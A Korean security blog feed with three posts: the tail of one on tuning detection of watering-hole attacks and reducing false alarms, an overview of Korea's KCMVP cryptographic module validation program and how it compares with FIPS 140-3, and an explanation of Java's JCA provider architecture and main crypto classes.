정리하면 엔드포인트 보안은 워터링 홀 공격의 마지막 단계(최종 페이로드 실행)를 감지 및 차단하며, 네트워크 및 위협 인텔리전스 층과 연계되어 다층 방어 전략의 완성을 담당합니다. 특히 최근 실행 시점 탐지(Execution Prevention)나 브라우저 격리 기술 등이 발전하면서, 워터링 홀로 인한 제로데이 공격도 엔드포인트에서 사전 차단하는 사례가 늘고 있습니다.

탐지 정확도 향상 및 오탐 감소를 위한 전략

다양한 보안 도구를 활용하더라도, 탐지 정확도와 오탐(False Positive) 관리는 지속적인 과제입니다. 워터링 홀과 같은 정교한 공격을 효과적으로 잡아내면서도 정상 트래픽에 대해 불필요한 알람이 발생하지 않도록, 다음과 같은 전략이 활용됩니다:

시그니처 튜닝 및 업데이트: IDS/IPS, AV 등의 서명DB를 최신 상태로 유지하고, 조직 환경에 맞지 않거나 잦은 오탐을 일으키는 서명 규칙은 세밀하게 튜닝합니다 . 예를 들어 일반 업무 트래픽을 공격으로 오인하는 규칙은 제외하거나 임계값을 조정하여 정상행위를 허용합니다. 또한 벤더를 통해 최신 워터링 홀 공격 IOC를 지속적으로 받아 서명 세트를 갱신합니다.
멀티레이어 상관분석: 단일 신호에 의존한 경보는 오탐 가능성이 높으므로, 여러 소스의 정보를 통합 분석합니다. 예를 들어, 네트워크 IDS 경보 + 엔드포인트 EDR 경보 + TI 인텔리전스가 함께 나타날 때만 고위험으로 분류하고, 단일 징후만 있을 경우 추가 검증 작업(예: 샌드박스 분석)을 거치도록 합니다. SIEM의 룰 기반 상관분석 엔진이나 SOAR의 알람 병합 기능을 이용해 중복 경보를 줄이고 의미있는 조합에 집중합니다.
머신러닝 및 UEBA 도입: 정교한 머신러닝(ML) 알고리즘을 탐지에 활용하여 이상치 탐지의 정확도를 높입니다 . ML 기반 모델은 대량의 정상/비정상 데이터를 학습하여 미묘한 패턴 차이로도 위협을 식별하지만, 충분한 데이터와 피드백 루프가 중요합니다. UEBA 시스템의 경우 앞서 언급한 바와 같이 정상 패턴을 학습하여 알람 노이즈를 감소시키므로, SOC 팀의 분석 효율을 높여줍니다 .
적응형 경보 분류 및 필터링: 보안 운영시 경보의 우선순위를 자동 분류하여 진짜 위험도에 따라 대응하는 전략입니다. 예를 들어 위협 수준 점수화(threat scoring)를 통해 각 경보에 점수를 매기고, 일정 점수 미만의 경보는 묶어서 요약하거나 잠정 보류합니다. 또한 반복적으로 발생하는 동일 유형의 경보는 묶어서 한 건으로 표현(flood suppression)함으로써 쓸데없는 중복 알람을 줄입니다 . 이러한 적응형 경보 관리는 결과적으로 알람 피로도를 낮추고 실제 위협에 집중할 수 있게 합니다.
맥락 정보 및 위협 인텔리전스 활용: 탐지 경보에 추가 정보(enrichment)를 붙여 분석에 도움이 되도록 합니다. 예를 들어, IDS가 특정 IP의 이상 트래픽을 탐지했다면, TI로부터 그 IP의 악성 평판 정보를 조회하여 제공하거나, EDR 경보에 해당 프로세스의 알려진 악성 여부를 표시합니다. 이러한 맥락 덧붙이기는 분석가가 오탐 여부를 판단하는 데 큰 도움을 주며, 자동화된 룰로 악성으로 확인된 경보에만 긴급 태그를 다는 식으로 정확도를 향상시킵니다.
정기적인 검토와 튜닝 프로세스: 보안팀은 정기적으로 탐지 로그를 리뷰하여 오탐 사례를 분석하고, 탐지 규칙을 조정하는 과정을 거칩니다. 특히 워터링 홀 공격과 같이 드문 이벤트에 대비한 룰이 지나치게 일반 트래픽을 잡아내지 않는지 검증해야 합니다. 내부 레드팀 모의공격을 통해 워터링 홀 시나리오를 테스트해보고, 탐지 장비들이 적절히 경보를 발생시키는지, 오탐은 없었는지 확인하여 체계적으로 탐지 체계를 개선합니다.

이러한 전략을 통해 조직은 탐지 민감도와 정확도 사이의 균형을 맞출 수 있습니다. 요약하면, 기술적 튜닝(서명, ML)과 운영적 절차(상관분석, 경보 관리)를 병행함으로써 워터링 홀과 같은 위협에 대한 탐지 정확도를 높이고 오탐으로 인한 혼선을 최소화할 수 있습니다 .

한국암호모듈검증제도 KCMVP 개요

defcon — Mon, 21 Apr 2025 21:53:54 +0900

KCMVP의 목적 및 개요

KCMVP(Korea Cryptographic Module Validation Program, 한국형 암호모듈 검증 프로그램)는 국가 정보통신망에서 사용되는 암호모듈의 안전성과 구현 적합성을 검증하는 제도입니다 ([KISA 암호이용활성화

암호모듈검증 - 개요

KCMVP(Korea Cryptographic Module Validation Program, 한국형 암호모듈 검증 프로그램)는 국가 정보통신망에서 사용되는 암호모듈의 안전성과 구현 적합성을 검증하는 제도입니다. 행정기관 등 국가·공공기관에서 소통되거나 저장되는 중요 정보를 보호하기 위해, 해당 정보의 암호화에 사용되는 소프트웨어/하드웨어 암호모듈의 보안성을 국가가 인증해주는 것입니다. 2009년 제도가 시행된 이후 정부·공공 부문의 각종 보안 제품에 활용될 암호모듈들을 검증해왔으며, 미국의 CMVP(FIPS 140 표준) 제도를 참고하여 구축되었습니다. 이를 통해 국가적으로 신뢰할 수 있는 암호 기반환경을 조성하고 보안성을 확보하는 것이 KCMVP의 주요 목적입니다.

기술적 요구사항 (암호모듈 구성요소 및 알고리즘 요건)

암호모듈이란 정보 보호를 위해 암호연산을 수행하는 하드웨어, 소프트웨어, 펌웨어 또는 이들의 조합으로 이루어진 구성요소를 말합니다. KCMVP에서는 이러한 다양한 형태의 암호모듈을 검증 대상으로 삼으며, 모듈의 형태에 관계없이 공통된 보안 요구사항을 적용합니다. 암호모듈은 보안성에 따라 1부터 4까지의 보안수준을 부여받는데, 1등급이 가장 기본적인 보안 요구사항을 충족하는 수준이고 4등급이 가장 높은 단계입니다. 등급이 높아질수록 키 관리, 자기 진단(Self-tests), 물리적 변조 방지 등의 요구사항이 강화되며, 예를 들어 4등급은 엄격한 물리적 보안과 변조 시 즉각적인 키 소멸 등의 최고 수준 보안기능을 요구합니다.

암호모듈이 충족해야 할 기술적 요건은 국제 표준에 부합되도록 정의되어 있습니다. 국가표준 KS X ISO/IEC 19790:2015 (암호모듈 보안 요구사항) 및 KS X ISO/IEC 24759:2015 (암호모듈 시험 요구사항)을 KCMVP의 평가 기준으로 채택하여, 모듈의 설계부터 운영까지 다양한 보안 요구사항을 검사합니다. 또한 암호모듈에 구현된 암호 알고리즘의 적합성 검증도 중요한 기술 요건입니다. KCMVP에서는 모듈이 국가가 승인한 안전한 암호 알고리즘을 사용하고 있는지, 그리고 해당 알고리즘을 정확히 구현했는지를 검증합니다. 검증 대상이 되는 알고리즘 유형은 블록암호 및 운영모드, 해시 함수, 메시지 인증코드(MAC), 의사난수/난수 발생기, 공개키 암호, 전자서명, 키 합의/분배, 키 유도 등으로 광범위합니다. 예를 들어 국내 표준 알고리즘인 ARIA, SEED, LEA, HIGHT 블록암호, SHA-2/LSH 해시함수, HMAC/CMAC 메시지인증, RSA/ECC 기반 전자서명 및 키교환, 난수발생기(DRBG) 등이 이에 포함됩니다. 알고리즘 구현의 정확성은 KCAVS(Korea Cryptographic Algorithm Validation Suite)라는 테스트 도구를 통해 확인하는데, 입력값과 예상 출력값을 비교하는 KAVP(CAVP) 테스트 절차를 거쳐 알고리즘이 표준에 맞게 동작하는지 검증합니다. 이러한 기술적 요구사항을 모두 만족해야 KCMVP 인증을 통과할 수 있으며, 결과적으로 해당 암호모듈은 지정된 보안수준(1~4)으로 검증필(Validated) 인증을 받게 됩니다.

인증 대상과 적용 범위 (인증 대상 제품 및 활용)

KCMVP 인증은 국가 및 공공 분야에서 사용되는 IT제품의 암호모듈에 대해 사실상 의무적으로 요구되고 있습니다. 국가정보원은 일정한 유형의 보안제품을 정부·공공기관에 도입할 때 반드시 KCMVP 검증필 암호모듈을 사용할 것을 규정하고 있습니다.

예를 들면 다음과 같은 제품 분야에서는 KCMVP 인증을 받은 암호모듈의 탑재가 필수적입니다

DB(데이터베이스) 암호화 시스템 – 데이터베이스에 저장된 정보를 암호화/복호화하는 솔루션
통합인증 시스템 (SSO 등) – Single Sign-On 등 사용자 인증을 처리하는 솔루션
가상사설망 (VPN) – 네트워크 구간 암호화를 통한 VPN 장비 및 소프트웨어
소프트웨어 기반 보안 USB – USB 저장매체에 대한 암호화 보안 기능이 있는 제품
내부정보 유출방지(DLP) 시스템 – PC/서버 등의 중요 정보 유출을 차단하는 보안 제품
양자암호통신 장비 – 양자키분배(QKD) 장비, 양자키관리, 양자암호화 통신장비 등 차세대 암호기술 제품
기타 암호기능이 주요한 제품 – 이메일 암호화, 구간(링크) 암호화 장비, 디스크/파일 암호화 솔루션, 하드웨어 보안토큰 등

상기의 제품들은 모두 암호기능이 핵심이므로, 그 내부에 탑재된 암호모듈이 KCMVP 인증을 받아야 안전한 제품으로 간주됩니다. 만약 검증되지 않은 모듈을 사용한 제품은 국가·공공기관에 납품할 수 없거나, 기관 자체 지침에 따라 배제가 될 수 있습니다. 따라서 관련 업계에서는 정부용 제품을 개발할 때 반드시 먼저 암호모듈에 대한 KCMVP 인증을 획득하는 것이 필수적인 절차로 자리잡고 있습니다. 인증 받은 암호모듈은 국가정보원에서 "검증필 암호모듈 목록”으로 공개 관리되며, 각 기관은 도입 시 해당 목록을 참조해 인증의 유효성(만료 여부), 모듈의 해시값 무결성, 보안정책 문서 등을 확인하도록 권고됩니다.

인증 절차 (신청부터 인증서 발급까지)

KCMVP 인증 절차는 공식적으로 7단계로 설명되지만, 크게 요약하면 암호모듈 개발업체→시험기관 평가→국정원 검증의 순서로 진행됩니다. 아래에 단계별로 절차를 설명합니다:

인증 신청: 암호모듈을 개발한 업체(신청기관)는 준비된 모듈과 관련 문서를 갖추어 국정원이 지정한 시험기관에 검증 신청을 합니다. 이 단계에서 모듈의 기능, 사용된 알고리즘, 보안설계에 대한 설명이 담긴 보안정책서, 설계명세 등 제출자료를 준비하여 시험기관에 제출합니다.
시험 계약 및 평가 수행: 시험기관은 신청을 접수하면 업체와 시험평가 계약을 체결하고 본격적인 평가 업무를 수행합니다. 평가 과정에서는 우선 암호 알고리즘 구현 적합성 검증(KAVP 테스트)을 실시하여 모듈에 구현된 알고리즘들이 표준에 맞게 동작하는지 확인합니다. 또한 제출된 설계 문서와 모듈을 분석하여, 암호모듈 보안 요구사항(KS X ISO/IEC 19790 기준)에 따른 구현 여부를 점검합니다. 예를 들어, 초기 자기진단 기능, 키 관리 방식, 권한 분리가 적절히 구현되었는지, 물리적 장치의 경우 감응 탐지 장치나 봉인(seal) 같은 변조 방지 기구가 등급 요구에 부합하는지 등을 평가합니다. 이 모든 시험 과정은 국제 표준에 따라 정형화된 절차로 진행되며, 필요 시 개발사에 질의하거나 수정 기회를 제공하면서 보완 테스트가 수행되기도 합니다.

시험 결과 보고: 시험기관의 평가가 완료되면, 그 시험 결과와 평가보고서가 국가정보원(검증기관)에 제출됩니다. 보고서에는 모듈의 보안설계 적합성 평가, 알고리즘 테스트 결과, 발견된 문제 및 조치 내역, 권고 등급 등이 포함됩니다. 시험기관은 이러한 상세한 결과를 정리하여 검증기관에 공식 보고함으로써, 최종 인증을 위한 심의를 요청하게 됩니다.
검증 심의 및 결정: 국가정보원은 접수된 평가 결과를 가지고 암호모듈검증위원회 회의를 개최합니다. 위원회는 제출된 자료를 심의하여 암호모듈이 요구되는 보안 기준을 만족하는지, 적정한 보안등급을 부여할 수 있는지 등을 검토합니다. 필요하면 시험기관이나 개발업체에 추가 자료나 설명을 요구할 수도 있습니다. 심의 결과 인증 요건을 모두 충족했다고 의결되면 인증 승인으로 결정되며, 만약 기준을 충족하지 못한 부분이 발견되면 보완 또는 인증불가 결정이 내려집니다. 이 단계까지가 검증기관의 최종 판단 과정이며, 실질적인 인증 여부 및 등급이 확정됩니다.
인증서 발급 및 목록 등재: 국가정보원은 위원회의 심의 결과에 따라 해당 암호모듈의 인증서(검증서)를 발급하고, 공식 검증필 암호모듈 목록에 등재합니다. 인증결과는 시험기관을 통해 신청업체에 통보되며, 인증된 모듈에는 고유한 검증번호와 인증서가 부여됩니다. 이후 누구나 열람할 수 있는 국가정보원 공개 목록에 모듈 명칭, 버전, 개발사, 부여등급, 유효기간 등의 정보가 등록되어 공개 검증 상태가 됩니다. 인증서에는 모듈이 준수한 보안등급과 알고리즘 목록, 적용 범위 등이 명시되며, 개발업체는 해당 모듈을 “KCMVP 검증필”이라고 홍보할 수 있게 됩니다. (※ 인증 후에도 모듈에 중대한 변경이 발생하면 재평가를 받아야 하며, 5년 주기로 인증효력 연장 여부를 검토합니다.)

以上의 절차를 거쳐 KCMVP 인증을 획득하게 되며, 전체 과정에는 통상 수개월에서 1년가량의 시간이 소요됩니다. 예비검토(사전컨설팅), 보완조치 시간 등을 포함하면 기간은 달라질 수 있고, 2023년부터는 신청 절차의 투명성과 신속성을 높이기 위해 온라인 신청 시스템 도입이 추진되고 있습니다.

국제 기준(FIPS 140-3 등)과의 연계성 및 차이점

KCMVP는 국제 암호모듈 보안 기준과 밀접하게 연계되어 있습니다. 앞서 언급한 KS X ISO/IEC 19790 표준은 미국 연방표준 FIPS 140-2/3에 대응하는 국제 표준으로, 미국, 캐나다, 일본 등도 이 표준을 자국 인증에 적용하고 있습니다. 실제로 KCMVP 제도는 미국 NIST의 CMVP(Cryptographic Module Validation Program)를 본떠 만들어졌으며, FIPS 140-2의 기준을 초창기부터 수용하여 운영되다가 현재는 FIPS 140-3(ISO 19790 2판) 기준까지 반영하고 있습니다. 따라서 평가 항목이나 보안등급 체계 면에서 KCMVP와 FIPS 140-3는 큰 틀에서 상호 대응됩니다. 예를 들어 FIPS 140-3의 Security Level 1~4 요구사항이 KCMVP에도 유사하게 적용되며, 자기진단, 키관리, 물리적 보안 등의 개념도 동일한 국제 기준에 근거합니다.

그럼에도 불구하고 KCMVP와 국제 인증 간에는 몇 가지 차이점이 존재합니다. 우선, 암호 알고리즘의 정책적 차이가 두드러집니다. KCMVP에서는 국산 알고리즘 중심의 암호체계를 채택하여 국가가 인정한 알고리즘을 위주로 인증을 실시해왔는데, 이러한 체계는 미국의 FIPS 140 인증이나 유럽의 CC(Common Criteria) 인증과 상호 호환되지 않는 측면이 있습니다. 예를 들어 한국의 KCMVP 모듈들은 ARIA, SEED, LSH 등의 국내 표준 알고리즘을 포함하는 경우가 많지만, 미국 FIPS 인증에서는 AES, SHA-2 등 NIST 표준 알고리즘 위주로 평가됩니다. 따라서 한쪽에서 인증받은 모듈이라도 다른 쪽 표준에 맞지 않는 알고리즘을 썼다면 그대로 상호인정되지 않으며 별도 인증을 받아야 합니다. 실제로 KCMVP 인증서는 국내 용도로만 효력을 가지며, 미국 정부 조달을 위해서는 별도로 FIPS 140 인증을 취득해야 하는 등 국제 상호인증 체계는 구축되어 있지 않습니다. 이와 관련해 “국내 KCMVP와 국산 알고리즘 중심 체계는 미국 FIPS-140이나 유럽 CC와 호환되지 않는다”는 업계 지적도 있어, 향후 국내 알고리즘의 국제 표준화 추진과 상호인정 논의가 과제로 남아 있습니다.

또 다른 차이로는 인증 활용과 현황의 차이가 있습니다. 미국의 CMVP는 1990년대 중반부터 시행되어 수천 건 이상의 모듈이 인증되었고, Level 3~4의 고등급 HSM(Device) 인증 사례도 다수인 반면, 국내 KCMVP는 2009년 이후 2023년까지 누적 250여 건의 인증에 그쳐 규모가 작으며 대부분 소프트웨어 모듈 위주의 1~2등급 인증이었습니다. 이는 국내에서 고가의 하드웨어 보안모듈(HSM)보다 소프트웨어 구현 위주로 인증을 받아왔음을 보여주며, 아직까지 최고 등급인 4등급 인증을 받은 사례는 없습니다. 다만 일본(JCMVP) 등 다른 국가 사례와 비교하면 한국의 인증 건수는 많은 편이고, 향후 양자내성암호 등의 등장으로 인증 수요와 국제 협력이 늘어날 것으로 전망됩니다.

요약하면 KCMVP는 국제표준 기반으로 운영되면서도 국내 환경에 특화된 암호모듈 인증제도라고 할 수 있습니다. 국제 기준과 동등한 기술 신뢰성을 확보함과 동시에, 국내에서 필요한 알고리즘과 정책을 반영하여 자국 보안주권을 유지하는 균형을 추구하고 있습니다. 향후에는 FIPS 140-3를 비롯한 국제동향에 발맞추어 기준을 계속 개정하되, 글로벌 상호인정이나 국산 알고리즘의 국제적 승인 등을 통해 KCMVP의 국제 호환성을 높이는 노력도 병행될 것으로 기대됩니다.

JAVA JCA(Java Cryptography Architecture)의 개념

defcon — Mon, 21 Apr 2025 09:41:09 +0900

Java 암호화 아키텍처(JCA) 개요

JCA의 개념 및 구조

Java Cryptography Architecture(JCA)는 자바 플랫폼에서 암호화 관련 기능을 제공하는 핵심 프레임워크로, 각종 보안 서비스를 통합된 방식으로 지원합니다. 예를 들어 JCA는 전자서명(Digital Signature), 메시지 다이제스트(Message Digest, 해시), 인증서 및 인증서 유효성 검사, 암호화(대칭/비대칭), 키 생성 및 관리, 보안 난수 생성 등 현대 암호기술에 필요한 거의 모든 기능을 포함합니다 . JCA는 “프로바이더(provider) 아키텍처”라는 플러그인 구조를 기반으로 설계되어, 구현으로부터 독립적인 표준 API와 여러 알고리즘의 유연한 탑재를 가능하게 합니다. 이러한 설계로 구현 독립성, 구현 상호운용성, 알고리즘 확장성 같은 원칙을 충족하며 , 개발자는 보안 알고리즘의 이론적 세부 내용을 직접 구현하지 않고도 표준 API 호출만으로 필요한 보안 서비스를 사용할 수 있습니다 .

JCA는 내부적으로 프레임워크와 프로바이더 구현의 두 부분으로 구성됩니다 . 즉, 표준화된 보안 API 집합(예: java.security, javax.crypto 등의 패키지로 제공되는 클래스들)과, 다양한 알고리즘의 실제 구현체들을 담은 암호 서비스 프로바이더(Cryptographic Service Provider)들이 존재합니다. 자바 플랫폼에는 기본적으로 Sun, SunJCE, SunRsaSign 등의 여러 프로바이더 구현체가 내장되어 있으며 , JCA는 이들 중 우선순위가 가장 높은 프로바이더로부터 요청된 알고리즘의 구현체를 선택하여 제공합니다. 또한 JCA는 서드파티 프로바이더의 추가를 지원하여, 기본 제공 알고리즘 외에도 새로운 알고리즘 구현을 손쉽게 확장할 수 있습니다 . (JDK 1.4부터는 원래 별도였던 JCE(Java Cryptography Extension)도 JCA에 통합되어, 대칭키 암호화 등의 기능 역시 모두 동일한 구조로 제공됩니다.)

프로바이더 아키텍처와 엔진 클래스

JCA의 프로바이더 아키텍처에서는 엔진 클래스(engine class)와 프로바이더(provider)가 상호 작용하여 암호 서비스를 제공합니다. 엔진 클래스란 암호화 서비스의 동작을 표현하는 고수준 표준 API 클래스로, 특정 알고리즘이나 구현에 독립적인 추상 인터페이스를 담당합니다 . 예를 들어 MessageDigest, Signature, Cipher 등은 각각 해시, 서명, 암호화 등의 기능을 수행하는 엔진 클래스들입니다. 한편 프로바이더는 이러한 엔진 클래스가 사용할 알고리즘의 실제 구현체를 제공하는 플러그인 모듈입니다. 모든 프로바이더는 java.security.Provider 클래스를 상속하여 구현되며, 자신이 제공하는 알고리즘 및 구현체 목록을 내부에 유지합니다 . 프로바이더는 JRE의 설정 파일(java.security)이나 애플리케이션 코드에서 등록할 수 있고, JCA는 등록된 프로바이더들을 순서에 따라 관리합니다 . 여러 프로바이더가 동일한 알고리즘을 구현하는 경우, 우선순위(preference order)에 따라 가장 높은 우선순위 프로바이더의 구현체가 사용되며, 필요하면 애플리케이션이 특정 프로바이더를 지명할 수도 있습니다 .

JCA에서 암호 서비스를 사용하는 방법은 일관된 패턴을 따릅니다. 애플리케이션은 엔진 클래스의 정적 팩토리 메서드인 getInstance()에 알고리즘 이름(및 필요시 프로바이더)을 전달하여 해당 서비스 객체를 얻습니다 . 예를 들어 SHA-256 해시 계산을 위해 MessageDigest.getInstance("SHA-256")을 호출하면, JCA는 설치된 프로바이더 중 SHA-256 알고리즘을 제공하는 첫 번째 구현체를 찾아서 MessageDigest 객체로 반환합니다 . 특정 프로바이더의 구현을 쓰고 싶다면 MessageDigest.getInstance("SHA-256", "Provider명")처럼 프로바이더를 지정할 수도 있습니다 . 이렇게 얻어진 엔진 클래스 인스턴스(MessageDigest 등)는 내부적으로 해당 프로바이더의 실제 구현 객체를 캡슐화하고 있으며, 엔진 클래스의 메서드를 호출하면 내부적으로 연결된 구현체(SPI)의 메서드를 호출하여 실제 동작을 수행합니다 . JCA에서 각 엔진 클래스마다 그에 대응하는 서비스 제공자 인터페이스(SPI) 추상 클래스(e.g., SignatureSpi, CipherSpi)가 정의되어 있으며, 프로바이더는 이 SPI를 상속하여 알고리즘 구현을 제공하게 됩니다 . 엔진 클래스는 이러한 SPI 구현 객체를 자신의 필드로 품고 있으며, 최종 사용자에게는 일관된 API를 제공하면서 내부적으로는 다양한 구현체와 상호 작용하는 것입니다.

이러한 구조 덕분에 애플리케이션 개발자는 구현체에 의존하지 않는 코드를 작성할 수 있습니다. 예를 들어 동일한 Cipher API를 사용하더라도, 기본 JDK 프로바이더의 AES 구현이나 서드파티 BouncyCastle 프로바이더의 AES 구현을 교체하여 사용할 수 있습니다. 보통은 JDK에 내장된 프로바이더들이 폭넓은 알고리즘을 충분히 제공하므로 특별히 프로바이더를 지정하지 않고 사용하는 경우가 많습니다 . (JCA는 설치된 프로바이더와 그 제공 서비스들을 조회하거나 관리하는 API도 제공하며, Security 클래스 등을 통해 현재 등록된 프로바이더 목록이나 알고리즘 목록을 얻을 수 있습니다 .)

JCA가 제공하는 보안 서비스

JCA는 애플리케이션 보안을 위해 다양한 암호화 서비스 API를 제공합니다 . 주요 서비스 범주는 다음과 같습니다 :

암호화/복호화: 대칭 키 알고리즘(AES, DES 등)과 비대칭 키 알고리즘(RSA, ECC 등)을 이용하여 데이터를 암호화하고 복호화하는 기능입니다. 이 기능은 Cipher 클래스를 통해 제공되며, 블록 암호, 스트림 암호, 패스워드 기반 암호화(PBE) 등 여러 종류의 알고리즘 모드를 지원합니다 .
디지털 서명: 전자 서명을 생성하고 검증하는 기능으로, Signature 클래스를 통해 제공됩니다. 개인 키로 데이터를 서명하고 대응되는 공개 키로 서명을 검증함으로써, 데이터의 무결성과 송신자 인증을 보장합니다 . (예: RSA 또는 DSA 서명 알고리즘을 이용한 전자서명.)
메시지 다이제스트(해시): 임의 길이의 입력 데이터를 고정 길이의 해시 값으로 변환하는 기능입니다. MessageDigest 클래스를 통해 SHA-1, SHA-256, SHA-512 등의 해시 알고리즘을 사용할 수 있으며, 생성된 해시는 데이터 변경 여부를 확인하기 위한 무결성 체크 등에 활용됩니다 .
메시지 인증 코드(MAC): 공유된 비밀 키를 사용하여 메시지로부터 MAC 값을 생성하고 검증하는 기능입니다. Mac 클래스를 통해 제공되며, 해시 함수와 비밀 키를 조합하여 생성된 MAC 값으로 데이터의 무결성과 인증을 보장합니다 . (주로 송신자와 수신자가 동일한 비밀 키를 공유하는 환경에서 사용)
키 생성 및 교환: 암호화에 사용되는 **키(key)**를 생성하거나 여러 당사자가 키를 안전하게 공유하는 기능입니다. 예를 들어 대칭키를 생성하는 KeyGenerator 클래스, 공개/개인키 쌍을 생성하는 KeyPairGenerator클래스, 그리고 키 합의(Key Agreement)를 수행하는 KeyAgreement 클래스 등이 포함됩니다. KeyAgreement을 통해 Diffie-Hellman 같은 프로토콜을 구현하여 둘 이상의 당사자가 공동의 비밀 키를 합의할 수 있습니다 .
키 저장 및 관리: 생성된 키와 인증서를 안전하게 보관하고 관리하는 기능입니다. JCA는 키스토어(KeyStore) 라는 키/인증서 저장소 개념을 제공하며, KeyStore 클래스를 통해 파일 등의 형태로 키를 저장/로드할 수 있습니다. 키스토어에는 개인 키와 해당 인증서 체인, 신뢰된 인증서 등이 저장되어 신원 인증 및 키 관리에 활용됩니다 . 또한 X.509 인증서의 생성과 파싱은 CertificateFactory 클래스로 처리할 수 있으며, 인증서 경로 검증(CertPathValidator)이나 인증서 철회 목록(CRL) 처리 등의 PKI 관련 기능도 지원됩니다 (Java의 표준 PKI API를 통해 제공) .

이러한 서비스들을 구현하기 위해 JCA에는 다양한 API 클래스들이 제공되며, 암호 키는 Key 인터페이스를 통해 일관된 형태로 취급됩니다. 공개키/개인키/대칭키 등의 모든 Key 객체는 Key 인터페이스를 상속한 형태로 표현되고, 키의 알고리즘 이름, 인코딩 형식, 바이너리 표현을 얻는 메서드를 공통적으로 제공합니다 . 애플리케이션은 엔진 클래스 (Cipher, Signature 등)의 인스턴스를 초기화할 때 이러한 Key 객체를 전달하며, 엔진 클래스는 전달된 키를 이용해 암호 연산을 수행합니다 . 아래에서는 JCA에서 주로 사용되는 주요 클래스와 인터페이스를 정리합니다.

주요 API 클래스 및 인터페이스 역할 정리

클래스/인터페이스	역할 및 용도
Provider	JCA에 플러그인 방식으로 등록되는 암호 서비스 제공자를 표현하는 클래스입니다. 제공 가능한 알고리즘들과 해당 구현체들의 목록(데이터베이스)을 보유하여, 요청 시 JCA 프레임워크가 적절한 구현 클래스를 찾을 수 있도록 합니다 . 즉, 알고리즘 이름을 키(Key)로 하고 구현 클래스 정보를 값(Value)으로 가지는 맵 구조로 알고리즘들을 광고하며, 표준 API 호출이 실제 구현체와 연결되도록 해 줍니다.
Security	JCA의 보안 설정과 프로바이더 관리를 담당하는 유틸리티 클래스입니다. 보안 프로퍼티와 프로바이더 목록을 중앙에서 관리하며, 프로바이더 등록/제거 (Security.addProvider(...) 등)이나 설치된 프로바이더 열람 (Security.getProviders() 등)과 같은 정적 메서드를 제공합니다 . 애플리케이션은 이 클래스를 통해 현재 사용 가능한 프로바이더와 알고리즘 정보를 조회하거나 동적으로 새로운 프로바이더를 추가할 수 있습니다.
SecureRandom	암호학적 난수 생성기를 제공하는 클래스입니다. 예측 불가능한 난수를 생성하기 위해 내부적으로 시드(seed)를 활용한 의사난수 알고리즘을 사용하며, 키 생성이나 난수 challeng 등 보안상 중요한 용도의 난수 값을 공급합니다 . JDK 기본 구현은 OS의 엔트로피 소스를 활용하여 높은 품질의 난수를 제공합니다.
MessageDigest	입력 데이터의 메시지 다이제스트(해시)를 계산하는 엔진 클래스입니다. MD5, SHA-256 등 해시 알고리즘을 선택하여 getInstance로 객체를 생성한 뒤, update() 메서드로 데이터를 입력하고 digest()를 호출하면 해시 값을 얻을 수 있습니다 . 해시 함수는 입력 데이터의 무결성 검증이나 비밀번호 저장 등의 목적으로 사용됩니다.
Signature	전자서명 생성 및 검증을 위한 엔진 클래스입니다. initSign(개인키)으로 서명용으로 초기화하여 update()로 데이터를 입력한 뒤 sign()을 호출하면 서명값을 생성하고, initVerify(공개키) 후 update()와 verify(서명값)를 호출하면 서명을 검증합니다. 내부적으로 RSA, DSA, ECDSA 등 다양한 공개키 서명 알고리즘을 지원하며, 키 쌍을 통해 데이터의 인증과 무결성을 보장합니다 .
Cipher	데이터 암호화/복호화를 위한 엔진 클래스입니다. init(모드, 키) 메서드로 암호화(ENCRYPT_MODE) 또는 복호화(DECRYPT_MODE) 모드 및 사용할 키를 지정하여 초기화하고, doFinal(데이터) 등을 호출하면 데이터를 암호화하거나 복호화합니다. AES, DES 같은 대칭키 블록 암호, RC4 같은 스트림 암호, RSA같은 비대칭키 암호, 그리고 PBE(Password-Based Encryption) 등 다양한 알고리즘을 지원하며, 알고리즘/모드/패딩 조합을 문자열로 지정하여 세부 구성을 선택할 수 있습니다 .
Mac	메시지 인증 코드(Message Authentication Code)를 생성/검증하는 엔진 클래스입니다. init(키)로 비밀 키를 설정한 후 update(데이터)와 doFinal()을 호출하여 MAC 값을 생성합니다. MAC은 해시 함수와 비밀 키를 조합하여 생성한 값으로, 송수신자가 공유한 키로만 검증될 수 있으므로 메시지의 무결성과 인증을 보장합니다 . (예: HMAC-SHA256 등 해시 기반 MAC 알고리즘)
KeyPairGenerator	공개키 암호에서 사용하는 키 쌍(공개키 + 개인키)을 생성하는 클래스입니다. RSA, EC 등의 알고리즘 이름을 지정하여 getInstance로 객체를 얻고 키 크기 등을 설정한 후 generateKeyPair()를 호출하면 새로운 키쌍(KeyPair 객체)을 생성합니다 . 주로 공개키 기반의 인증서 발급이나 서명 키 생성 등에 사용됩니다.
KeyGenerator	대칭키 암호에서 사용하는 비밀 키(대칭 키)를 생성하는 클래스입니다. 예를 들어 AES 알고리즘용 키를 만들기 위해 KeyGenerator.getInstance("AES")로 객체를 얻고 키 크기를 설정한 뒤 generateKey()를 호출하면 SecretKey 객체를 생성합니다 . 생성된 비밀 키는 Cipher 등에 전달되어 암호화에 활용됩니다.
KeyFactory / SecretKeyFactory	키 변환(Key Conversion)을 위한 클래스입니다. 외부에서 받은 키 자료(예: X.509로 인코딩된 공개키 바이트 배열 등)를 자바의 Key 객체로 변환하거나, 반대로 Key 객체를 키 명세(KeySpec) 형태의 데이터로 변환할 때 사용합니다 . KeyFactory는 공개키/개인키에 대한 변환을, SecretKeyFactory는 대칭키(SecretKey)에 대한 변환을 담당합니다. 예를 들어 RSA 공개키의 바이트 표현을 X509EncodedKeySpec으로부터 PublicKey 객체로 복원할 수 있습니다.
Key	암호 키 객체를 추상화하는 최상위 인터페이스입니다. 공개키(PublicKey), 개인키(PrivateKey), 대칭 비밀키(SecretKey) 등이 모두 Key 인터페이스를 상속하며, 키의 알고리즘 이름, 포맷(인코딩 형식), 바이너리 인코딩을 얻는 메서드를 공통으로 제공합니다 . 이 인터페이스를 통해 상위 모듈은 키 유형에 상관없이 일관된 방식으로 키를 다룰 수 있습니다.
KeyPair	공개키와 개인키 한 쌍을 담는 단순한 컨테이너 클래스입니다. getPublic() 및 getPrivate() 메서드로 각 키를 꺼낼 수 있으며, 주로 키 생성 결과를 전달하거나 키 쌍을 보관하는 데 사용됩니다 .
KeyAgreement	키 합의(key agreement) 프로토콜을 구현하는 엔진 클래스입니다. 두 명 이상의 참여자가 각자의 키 정보를 교환하여 공동의 비밀키를 도출할 때 사용됩니다. 예를 들어 Diffie-Hellman 알고리즘을 통해 공유 비밀을 생성할 수 있으며, init(자신의 개인키) 후 doPhase(상대측 공개키) 등을 거쳐 generateSecret()으로 합의된 공유 키를 얻습니다 .
